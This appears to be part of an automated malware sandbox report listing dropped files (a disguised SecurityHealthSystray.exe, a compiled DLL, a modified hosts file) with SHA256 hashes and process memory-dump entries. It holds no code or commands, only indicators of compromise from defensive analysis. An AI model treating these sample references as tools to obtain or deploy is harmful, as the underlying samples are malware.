                      • SHA256 718af6dbf1f15b6bbabbc976bce54e529826b204147117f72f4325235d67cdd0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_wu4zlg1z.z2s.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wu4zlg1z.z2s.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      m5t4fwza.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\m5t4fwza\m5t4fwza.dll
                      • Size 4KB
                      • SHA256 920371d2658818adcd7d7a3a25a67951b2e9d6b73d66414f2811360652e4387c
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Display (1).png
                      • Path C:\Users\Admin\AppData\Local\Temp\zUs0uP5qm1\Display (1).png
                      • Size 575KB
                      • SHA256 7d339308143a1bf7379764e4c782d8e1bbd421aa7345053c8ec7725bdbff8428
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      SecurityHealthSystray.exe
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                      • Size 10.8MB
                      • SHA256 82442409a93cdadb106e89e144882332fed0e27820db6bca62641e44f2531291
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      hosts
                      • Path C:\Windows\System32\drivers\etc\hosts
                      • Size 2KB
                      • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSC5FBAA27F4BAC4CE4A866F6EE2F5E366D.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\m5t4fwza\CSC5FBAA27F4BAC4CE4A866F6EE2F5E366D.TMP
                      • Size 652B
                      • SHA256 798bd9c2b3858bd2ddcd08b93396c0aea63a3f77b995c9a5ba21a883705b60ef
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      m5t4fwza.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\m5t4fwza\m5t4fwza.0.cs
                      • Size 1004B
                      • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      m5t4fwza.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\m5t4fwza\m5t4fwza.cmdline
                      • Size 607B
                      • SHA256 8748af68890a62d1ad3795559afd5c1b478ecf7725e6695570dac78d02bd7636
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/236-18-0x0000014773960000-0x00000147739CF000-memory.dmp
                      Download

                      memory/488-14-0x000001E336720000-0x000001E33678F000-memory.dmp
                      Download

                      memory/648-3-0x000001E615550000-0x000001E6155BF000-memory.dmp
                      Download

                      memory/1200-0-0x000002FAA5820000-0x000002FAA588F000-memory.dmp
                      Download

                      memory/1220-32-0x00000190B0540000-0x00000190B05AF000-memory.dmp
                      Download

                      memory/1520-13-0x0000025F61030000-0x0000025F6109F000-memory.dmp
                      Download

                      memory/1576-24-0x00000212CDBD0000-0x00000212CDC3F000-memory.dmp
                      Download

                      memory/1828-29-0x0000013733770000-0x00000137337DF000-memory.dmp
                      Download

                      memory/1932-5-0x0000023793630000-0x000002379369F000-memory.dmp
                      Download

                      memory/2240-12-0x0000020FF28F0000-0x0000020FF295F000-memory.dmp
                      Download

                      memory/2376-11-0x0000020EE88C0000-0x0000020EE892F000-memory.dmp
                      Download

                      memory/2420-2-0x0000016AB4320000-0x0000016AB438F000-memory.dmp
                      Download

                      memory/2428-28-0x0000012267BA0000-0x0000012267C0F000-memory.dmp
                      Download

                      memory/2456-10-0x000002A41EB10000-0x000002A41EB7F000-memory.dmp
                      Download

                      memory/2504-27-0x000002057CB30000-0x000002057CB9F000-memory.dmp
                      Download

                      memory/2852-41-0x000001DE234A0000-0x000001DE2350F000-memory.dmp
                      Download

                      memory/3104-50-0x0000020FCC3A0000-0x0000020FCC3C2000-memory.dmp
                      Download

                      memory/3104-75-0x0000020FCC620000-0x0000020FCC63A000-memory.dmp
                      Download

                      memory/3104-82-0x0000020FB3D10000-0x0000020FB3D22000-memory.dmp
                      Download

                      memory/3104-78-0x0000020FCC610000-0x0000020FCC61A000-memory.dmp
                      Download

                      memory/3104-77-0x0000020FCC600000-0x0000020FCC606000-memory.dmp
                      Download

                      memory/3104-76-0x0000020FCC5D0000-0x0000020FCC5D8000-memory.dmp
                      Download

                      memory/3104-83-0x0000020FCC440000-0x0000020FCC4AF000-memory.dmp
                      Download

                      memory/3104-73-0x0000020FCC5C0000-0x0000020FCC5CA000-memory.dmp
                      Download

                      memory/3104-81-0x0000020FB3C40000-0x0000020FB3C4C000-memory.dmp
                      Download

                      memory/3104-62-0x0000020FCC5E0000-0x0000020FCC5FC000-memory.dmp
                      Download

                      memory/3104-59-0x0000020FCC4D0000-0x0000020FCC4EC000-memory.dmp
                      Download

                      memory/3104-60-0x0000020FCC4F0000-0x0000020FCC5A3000-memory.dmp
                      Download

                      memory/3104-61-0x0000020FCC5B0000-0x0000020FCC5BA000-memory.dmp
                      Download

                      memory/3180-23-0x0000019338FC0000-0x000001933902F000-memory.dmp
                      Download

                      memory/3232-15-0x000001FD3D7C0000-0x000001FD3D82F000-memory.dmp
                      Download

                      memory/3244-131-0x000002A01A520000-0x000002A01A58F000-memory.dmp
                      Download

                      memory/3244-130-0x000002A01A330000-0x000002A01A342000-memory.dmp
                      Download

                      memory/3244-129-0x000002A001D30000-0x000002A001D3C000-memory.dmp
                      Download

                      memory/3272-134-0x000001C4D9640000-0x000001C4D96AF000-memory.dmp
                      Download

                      memory/3272-135-0x000001C4DBC60000-0x000001C4DBC69000-memory.dmp
                      Download

                      memory/3272-148-0x000001C4D9640000-0x000001C4D96AF000-memory.dmp
                      Download

                      memory/3660-19-0x0000020FF92E0000-0x0000020FF934F000-memory.dmp
                      Download

                      memory/3660-120-0x0000028150040000-0x0000028150048000-memory.dmp
                      Download

                      memory/3660-123-0x0000028135BC0000-0x0000028135BCC000-memory.dmp
                      Download

                      memory/3660-124-0x000002814FA60000-0x000002814FA72000-memory.dmp
                      Download

                      memory/3660-125-0x000002814FAF0000-0x000002814FB5F000-memory.dmp
                      Download

                      memory/3664-42-0x000001DD7F8E0000-0x000001DD7F94F000-memory.dmp
                      Download

                      memory/3924-1-0x000001ECB7F50000-0x000001ECB7FBF000-memory.dmp
                      Download

                      memory/4008-17-0x0000025D79C30000-0x0000025D79C9F000-memory.dmp
                      Download

                      memory/4080-31-0x000001CFC5A00000-0x000001CFC5A6F000-memory.dmp
                      Download

                      memory/4272-7-0x00000264469E0000-0x0000026446A4F000-memory.dmp
                      Download

                      memory/4284-20-0x0000011583A90000-0x0000011583AFF000-memory.dmp
                      Download

                      memory/4332-4-0x000001CFDBCB0000-0x000001CFDBD1F000-memory.dmp
                      Download

                      memory/4420-8-0x000001F7CA610000-0x000001F7CA67F000-memory.dmp
                      Download

                      memory/4492-118-0x000001DE57210000-0x000001DE5721C000-memory.dmp
                      Download

                      memory/4512-33-0x0000021DCD680000-0x0000021DCD6EF000-memory.dmp
                      Download

                      memory/4528-6-0x000002786DD90000-0x000002786DDFF000-memory.dmp
                      Download

                      memory/4536-9-0x000001E1B7A70000-0x000001E1B7ADF000-memory.dmp
                      Download

                      memory/4580-16-0x00000201DC340000-0x00000201DC3AF000-memory.dmp
                      Download

                      memory/4724-30-0x00000225348D0000-0x000002253493F000-memory.dmp
                      Download

                      memory/4804-25-0x000001EAC1810000-0x000001EAC187F000-memory.dmp
                      Download

                      memory/4988-26-0x000002657D9A0000-0x000002657DA0F000-memory.dmp
                      Download

                      memory/5040-22-0x0000028F66F70000-0x0000028F66FDF000-memory.dmp
                      Download

                      memory/5080-21-0x000001FF32890000-0x000001FF328FF000-memory.dmp
                      Download

                      memory/5100-115-0x0000024BD7760000-0x0000024BD776C000-memory.dmp
                      Download